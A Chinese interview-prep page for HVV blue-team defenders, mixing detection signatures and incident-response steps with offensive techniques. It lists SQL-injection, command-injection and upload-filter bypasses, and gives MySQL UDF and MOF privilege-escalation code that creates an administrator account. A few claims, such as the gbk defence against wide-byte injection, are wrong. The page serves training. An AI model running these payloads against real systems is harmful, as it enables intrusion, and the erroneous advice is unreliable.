当前位置: 首页 > news >正文

护网HVV初级蓝队面试题总结

struts2原理特征

原理:默认的content-type解析器会把用户传来的数据直接当成代码执行,造成rce特征:ognl表达式,memberaccess字段,可以通过catalina日志过滤关键信息查找攻击特征ongl表达式可以被当作代码执行,其中的类为defaultactionmapper支持的redirecraction方法特征同上

Java反序列化的特征

一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。 
或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。

如何反制CS?

反制Server,爆破密码:针对后门没有采用隐匿C2地址的技术导致的反制(后门样本被溯源到C2地址,可以使用火绒剑等软件对红队IP进行溯源)伪造流量批量上线(欺骗防御,无法反制,但是会让红队摸不着头脑)CS漏洞CVE-2022-39197(基本通杀,CS版本<=4.7 XSS)

溯源反制

回答:蜜罐;xss盲打;蚁剑rce;cs端口爆破口令;有web可以进行反打。

EDR如何绕过

回答:改协议绕过;污染数据;ddos通过hook协议并发提交

工具流量特征

冰蝎2.0	 强特征是accept里面有个q=.2
冰蝎3.0	 Content-Type: application/octet-stream
冰蝎4.0	 referer头(js文件);UA头(随机);Accept: application/json, text/javascript, /; g=0.01;在建立连接时,可能会导致49000左右的端口号开启
蚁剑	     是ua有answord    蚁剑的加密特征是以 "0x.....="开头
哥斯拉	   	pass字段
菜刀		流量存在一些特征字 eval  base64
AWVS	  主要是看请求包中是否含有acunetix  wvs 字段
Nessus	  nessus字段

OWAPTop10

SQL注入
失效的身份认证和会话管理
跨站脚本攻击XSS
直接引用不安全的对象
安全配置错误
敏感信息泄露
缺少功能级的访问控制
跨站请求伪造CSRF
使用含有已知漏洞的组件
未验证的重定向和转发

shiro550和721的区别

721是需要有效的登录才可以    550不用登录就可以直接跑key

log4j-Rce原理

log4j是一款通用日志记录工具,log4j有个lookup接口通过JNDI注入触发日志,在{}里面调用jndi服务反弹shell到指定的服务器,除了jndi还可以调用rmi;还有一点就是,log4j设置的日志等级,在触发lookup方法前,会对设置的level等级做验证

fastjson原理

漏洞处理json对象的时候没有对@type字段进行过滤,导致可以加载恶意类从而进行攻击。

应急思路:

首先通过安全设备拦截攻击包体和日志分析,了解攻击者具体进行了什么样的攻击,通过黑白结合模拟方法进一步判断攻击者的攻击方式。复现之后对漏洞进行修复,对攻击者进行溯源。
首先查看安全设备上报警的事件,看看具体报文,具体日志,判断攻击类型,攻击方式什么的,例如上次护vv的时候,通过深信服的态势感知设备,拦截了一个文件上传,查看包体是一个文件名应该是123.php的,类型是img图片格式,内容是123456,判断应该是一个黑客的测试文件,查看日志,发现这是第一次上传,首先封锁ip,然后自己复现一遍并修复漏洞,

Windows应急流程:

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat查看网络连接对应的进程,再通过tasklist进行进程定位)->
第二步:查看系统登录日志,筛查4776、4624(登录成功)事件进行分析->
第三步:使用命令lusrmgr.msc查看服务器是否存在可疑账号、新增账户->
第四步:使用compmgmt.msc查看本地用户组有没有隐藏账户->
第五步:导出日志利用Log Parser查看管理员登录时间、用户是否存在异常->
第六步:运行taskschd.msc排查有无可疑的计划任务->
第七步:输入%UserProfile%\Recent分析最近打开过的可疑文件->
第八步:分析中间件日志,如tomcat的logs文件夹localhost_access_log日志文件Appace的access.log日志文件。

Linux应急流程:

第一步:分析安全日志 /var/log/secure查看是否有IP爆破成功->
第二步:查看/etc/passwd分析是否存在攻击者创建的恶意用户->
第三步:查看命令执行记录 ~/.bash_history分析近期是否有账户执行过恶意操作系统命令->
第四步:分析/var/spool/mail/root Root邮箱,当日志被删除可查询本文件->
第五步:分析中间件、Web日志,如access_log文件->
第六步:调用命令last/lastb翻阅登录日志->
第七步:分析/var/log/cron文件查看历史计划任务,
第八步->分析history日志分析操作命令记录->
最后一步:分析redis、sql server、mysql、oracle等日志文件

Web日志分析应急流程:

第一步:找到WebShell,分析文件内容中的恶意函数、Web日志中的webshell特征、Web日志中的webshell特征、每天新增的动态脚本文件低频访问的脚本文件->
第二步:确定攻击者IP,
第三步:回溯攻击者操作->
第四步:梳理攻击过程

内存马如何排查:

如果发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪和分析,也是根据各类型的原理列出一个排查思路——
1、如果是jsp注入,日志中排查可以jsp的访问请求。
2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法。
3、根据业务使用的组件排查可能存在的java代码执行漏洞,spring的controller类型的话根据上报webshell的url查找日志,filter或者listener类型,可能会有较多的404但是带有参数的请求。

如何分析报文

根据数据包利用平台或者wireshark分析攻击payload是哪种攻击 攻击的路径或者接口在哪

进程排查思路(火绒剑都可查看到)

没有签名验证信息的进程
没有描述信息的进程
进程的启动用户
进程的路径是否合法
CPU或内存资源占用长时间过高的进程

命令执行

PHP命令执行函数

System()、exec()、shell_exec、passthru()、pcntl_exec()、popen()、proc_open()以及反引号等函数执行系统命令。systemshell_execpassthruexecpopenproc_openputenvassert| 直接执行后面的语句 || 前面为假执行后面的语句。如:ping 2 || whoami& 可真可假 && 前面只能为真

PHP代码执行的危险函数

 call_user_func()call_user_func_array()create_function()array_map()

命令执行常见绕过思路:

空格过滤绕过:$IFS、<>、%09(要求php环境)
管道符绕过:分号; & &&
消除后缀:%20%23
黑名单绕过:字符拼接、单双引号、反斜杠、通配符
cat命令绕过:more、less、head、tac、tail、nl、od、vi、vim、sort、uniq、file-f、grep

文件包含常用协议:

php://filter
data协议
php://input
file=phar://协议

Sql注入

产生原因:

参数用户可以控制,并且能带入数据库查询。

种类:

报错、盲注、联合注入、堆叠注入、宽字节注入、二次注入等。

防护:

使用安全的API
过滤危险字符
使用预编译语句,使用PDO预编译语句时,采用占位符进行数据库的增删改查。

报错注入函数:

Updatexml()、extractvalue()、polygon()、floor()、exp()、GeometryCollection()、multipoint()、multilinestring()、multipolygon()、linestring()

宽字节产生的原因:

PHP发送请求到MySql时使用了语句
SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
通过添加%df吃掉%5c绕过magic_quotes_gpc。

解决办法:

统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,不能查表名,只能暴力跑表。
5.0以下是多用户单操作,5.0以上是多用户多操做。

宽字节注入防御,将mysql设置为gbk即可

SQL注入绕过方法:

通用绕过

大小写绕过、双关键字绕过、编码绕过、内联注释绕过,等价函数绕过

常见替换:

空格绕过

两个空格替代一个空格,tap代替空格,%a0代替空格,括号绕过空格,/* */
注释绕过空格,浮点数绕过空格

引号绕过

0x十六进制编码后的字符绕过

逗号绕过

substr()和mid()这两个子句方法可以使用from to,join,like绕过,对于limit子句可以使用offset来绕过

比较符号(<>)绕过

使用greatest()、least():(前者返回最大值,后者返回最小值) 绕过

or and xor not绕过

and=&&  or=||   xor=|   not=!

绕过注释符号

(#,--(后面跟一个空格))过滤

=绕过,

使用like 、rlike 、regexp

绕过union,select,where等

大小写,注释符,内联注释绕过, 双关键字绕过

等价函数绕过

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

CSRF

跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站。防护:添加token验证请求的referer
token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)

SSRF

服务器请求伪造。由攻击者构造请求,有服务端发起请求的安全漏洞。修复:限制请求的端口只能为Web端口,HTTP和HTTPS协议。限制不能访问内网ip.屏蔽返回详细信息。

文件上传

成因:由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

常例:

1.	未过滤、本地过滤。 抓包,该包。
2.	黑名单。 ASP(cdx、asa、cer) php (ph3\4\5)
3.	文件头、content-type  GIF89a  image/ipg 图片马
4.	条件竞争 (先上传后删除)
5.	%00截断 (post时改Hex 00) %00相当于空
6.	Windows特性 NTFS   php.自动去掉.

文件上传常见绕过思路:

.htaccess或者.user.ini文件、MiME绕过、%00截断、php大小写、php3、php4、phtml、空格绕过、pht、phps、条件竞争绕过

XSS

反射型XSS

用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接,才能攻击成功,攻击方式往往具有一次性。

存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

DOM型XSS

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
DOM型XSS只有HTML代码,并不存在服务器代码,所以此程序并没有与服务器交互。

XSS修复建议:

过滤输入的数据,包括“ ‘ ” ,“ “ ”,“ < ” ,“ > ”,“ on* ”等非法字符。
对输出到页面的数据进行相应的编码转换,包括HTML实体化编码、JavaScript编码等。

XSS蠕虫:

正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。
不一定需要存储型XSS

解析漏洞:

IIS6.0 后缀解析 /xx.asp;.jpg /xx.asp/xx.jpg

/xx.asp;.jpg	/xx.asp/xx.jpg
默认解析	xx.asa xx.cer xx.cdx
Windows iis .net 短文件 猜解前6位以及后缀前三位

IIS 7.0-7.5 / Nginx <=0.8.37

	Fast-cgi 开启状态下,在文件路径后加上/xx.php则xx.jpg/xx.php会被解析为php文件

Apache 从右往左判断后缀 test.php.x1.x2.x3

Htaccess 当Allow Override被启用时,上传启用解析规则·的.htaccess
AddType application/x-http-php.jpg

Apache 2.4 %0A绕过 修改Hex 0A   之后访问/1.php%0A即可。

lighttpd
xx.jpg/xx.php
IIS 6.0—— /xx.asp/xx.jpgIIS 7.0—— 默认Fast-cgi开启,直接在图片地址后面输入/.php就会将图片当做php解析Nginx——版本小于0.8.37 利用方法和IIS7.0一样Apache—— 上传文件名为test.php.x1.x2.x3, Apache是从右往左判断Lighttpd—— XX.jpg/xx.php

常见的中间件漏洞

IIS				PUT漏洞、短文件名猜解、远程代码执行、解析漏洞
Apache			解析漏洞、目录遍历
Nginx			文件解析、目录遍历、CRLF注入、目录穿越
Tomcat			远程代码执行、war后门文件部署
JBoss			反序列化漏洞、war后门文件部署
WebLogic		反序列化漏洞
SSRF			任意文件上传
war				后门文件部署
Apache Shiro	反序列化漏洞
Shiro rememberMe(Shiro-550)
Shiro Padding Oracle Attack(Shiro-721)

redis非授权访问

redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问相关安全策略,直接暴露在公网。
危害:
攻击者无需认证访问到内部数据。如果redis以root身份运行,黑客可以给root账号写入ssh公钥文件直接通过ssh登录服务器。生成rsa空秘钥 ->公钥、私钥->上传公钥->利用私钥连接

TCP/IP

TCP三次握手的过程以及对应的状态转换:客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。TCP和UDP协议区别:tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

OSI七层模型

物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。

MySQL写WebShell有几种方式:

union select 后写入、利用分隔符写入类似于SQLMAP的 --os-shell命令、Mysql log写入(有读写的权限,root权限,gpc关闭、绝对路径)

mysql两种提权方式

Mysql_UDF提权

UDF提权(利用了root 高权限,创建有cmd函数的udf.dll动态库,导出 那个文件后,就可以框输入 cmd,mof(系统会创建一个临时文件,创建的时候用的是system,把cmd命令放在mof上执行)

要求:

目标系统是Windows(Win2000,XP,Win2003);
拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 
有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径

提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

Mysql mof提权

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name  = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};
instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";};
instance of __FilterToConsumerBinding{Consumer   = $Consumer;Filter = $EventFilter;};
其中的第18行的命令,上传前请自己更改。
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了

Windows常用的提权方法

系统内核溢出漏洞提权
数据库提权
错误的系统配置提权
组策略首选项提权
WEB中间件漏洞提权
DLL劫持提权
滥用高危权限令牌提权
第三方软件/服务提权等

Linux提权有哪些方法

 Linux内核漏洞提权低权限用户目录下可被Root权限用户调用的脚本提权(SUID)环境变量劫持高权限程序提权sudo配置文件错误提权

正向SHELL和反向SHELL的区别

正向shell,攻击者连接被攻击者机器
反向shell,被攻击者主动连接攻击者
正向代理,客户端代理,服务器不知道实际发起请求的客户端
反向代理,服务器代理,客户端不知道实际提供服务的服务端

常见端口

| 端口/服务     | 22 SSH      | 23 telnet             |
| ------------- | ----------- | -------------------- |
| 25 smtp       | 53 DNS      | 80/443/8080 web      |
| 110 POP3      | 123 NTP     | 137/139 samba        |
| 143 imap      | 152 loracle | 389 Idap             |
| 443 Https     | 445 SMB     | 873 rsync            |
| 1098 JAVARMI  | 1433 mssql  | 1521 oracle          |
| 3306 mysql    | 3389 RDP    | 5422/5432 postgreSQL |
| 5900 vnc      | 6379 redis  | 7001 WebLogic        |
| mongoDB 27017 | 67/68 dhcp  | 21/69 ftp/tftp       |

内网黄金票据跟白银票据区别和利用方式:

白银票据,只能访问指定的目标机器中指定的服务,而黄金票据是针对所有机器的所有服务,可以访问所有服务。

制作黄金票据的前提条件:

域名称、域的 SID 3、域的 KRBTGT 账户的密码 hash 值、伪造的用户名,可以是任意用户甚至是不存在的用户黄金票据攻击,其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。

伪造白银票据的前提条件:

域名称、域的 SID 、域的服务账号的密码 hash 、伪造的用户名(可以是任意的)

IDS和IPS区别

IDS类(入侵检测系统(IDS: Intrusion Detection Systems))

此类产品基本上以旁路为主,特点是不阻断任何网络访问,主要以提供对网络和系统运行状况的监控和报告为主,少量的类似产品还提供TCP阻断等功能,但少有使用。

IPS类(入侵防御系统(IPS: Intrusion Prevention System))

基本上以在线模式为主,解决了IDS无法阻断入侵的问题, 不仅可以检测到入侵还可以对入侵进行拦截,其工作原理类似防病毒系统定义N种已知的攻击模式,然后通过模式匹配去阻断非法访问一样。

区别

IDS相当于监控,当发现异常行为时发出警告;
IPS相当于大厦的保安,不仅可以检测到入侵还可以对入侵进行拦截。
防火墙是网络层面的防护,**IDS和IPS主要防护应用层。**
防火墙是网络边界控制设备,主要通过策略实现对网络的访问控制。
IDS无法防护加密的数据流,且对于UDP协议会话误报较高。

Windows系统日志:事件查看器

Windows系统日志都是在“事件查看器”下面的。
具体步骤如下:
我的电脑 - 右键单击 - 管理 - 计算机管理 - 系统工具 - 事件查看器 -  Windows日志;

Linux系统日志:/var/log

Linux系统日志都是放在“/var/log”下面的,下面给大家简单介绍一下各个日志文件:
/var/log/messages — 包括整体系统信息,其中也包含系统启动期间的日志。此外,mail,cron,daemon,kern和auth等内容也记录在var/log/messages日志中。
/var/log/dmesg — 包含内核缓冲信息(kernel ring buffer)。在系统启动时,会在屏幕上显示许多与硬件有关的信息。可以用dmesg查看它们。
/var/log/auth.log — 包含系统授权信息,包括用户登录和使用的权限机制等。
/var/log/boot.log — 包含系统启动时的日志。
/var/log/daemon.log — 包含各种系统后台守护进程日志信息。
/var/log/dpkg.log – 包括安装或dpkg命令清除软件包的日志。
/var/log/kern.log – 包含内核产生的日志,有助于在定制内核时解决问题。
/var/log/lastlog — 记录所有用户的最近信息。这不是一个ASCII文件,因此需要用lastlog命令查看内容。
/var/log/maillog /var/log/mail.log — 包含来着系统运行电子邮件服务器的日志信息。例如,sendmail日志信息就全部送到这个文件中。
/var/log/user.log — 记录所有等级用户信息的日志。
/var/log/Xorg.x.log — 来自X的日志信息。
/var/log/alternatives.log – 更新替代信息都记录在这个文件中。
/var/log/btmp – 记录所有失败登录信息。使用last命令可以查看btmp文件。例如,”last -f /var/log/btmp | more“。
/var/log/cups — 涉及所有打印信息的日志。
/var/log/anaconda.log — 在安装Linux时,所有安装信息都储存在这个文件中。
/var/log/yum.log — 包含使用yum安装的软件包信息。
/var/log/cron — 每当cron进程开始一个工作时,就会将相关信息记录在这个文件中。
/var/log/secure — 包含验证和授权方面信息。例如,sshd会将所有信息记录(其中包括失败登录)在这里。
/var/log/wtmp或/var/log/utmp — 包含登录信息。使用wtmp可以找出谁正在登陆进入系统,谁使用命令显示这个文件或信息等。
/var/log/faillog – 包含用户登录失败信息。此外,错误登录命令也会记录在本文件中。
注意:以上这些日志文件或许有的没有,甚至日志表现的形式可能略有不同,这都没什么关系,得要的是我们要先明白原理。
http://www.xdnf.cn/news/375859.html

相关文章:

  • Axure :基于中继器的列表删除 、 列表编辑
  • 自动语音拨号系统V2.6.0产品说明书
  • Dockers部署oscarfonts/geoserver镜像的Geoserver
  • BERT类模型
  • CenOS7切换使用界面
  • 推荐一款免费开源工程项目管理系统软件,根据工程项目全过程管理流程开发的OA 办公系统
  • 基于定制开发开源AI智能名片S2B2C商城小程序的公私域流量融合运营策略研究
  • 策略路由更改路径
  • Best Video下载器——抖音视频去水印工具
  • day21python打卡
  • 【Linux第三章】vim
  • HTTP/2概览及内核解析
  • excel大表导入数据库
  • comfyu BiRefNet-General模型下载及存放地方
  • JS正则表达式介绍(JavaScript正则表达式)
  • 《Python星球日记》 第51天:神经网络基础
  • 边缘计算从专家到小白
  • iperf3的介绍与舒勇
  • Kubernetes 生产实战(十五):生产环境敏感信息纳入Secret管理指南
  • MLOps 详解
  • 汇编语言的温度魔法:单总线温度采集与显示的奇幻之旅
  • Java动态代理超详细解析:三步+内存图(堆栈分析)
  • 批量统计PDF页数,统计图像属性
  • dify插件接入fastmcp示例
  • Flink 实时数据一致性与 Exactly-Once 语义保障实战
  • Linux架构篇、第四章_ELK与EFK-7.17.9的日志管理
  • 深入解析Vue3中ref与reactive的区别及源码实现
  • PPT图表怎么制作?说5款自己使用过的PPT图表制作工具
  • 《Python星球日记》 第55天:迁移学习与预训练模型
  • Linux系统管理与编程16:PXE自动化安装部署centos7.9操作系统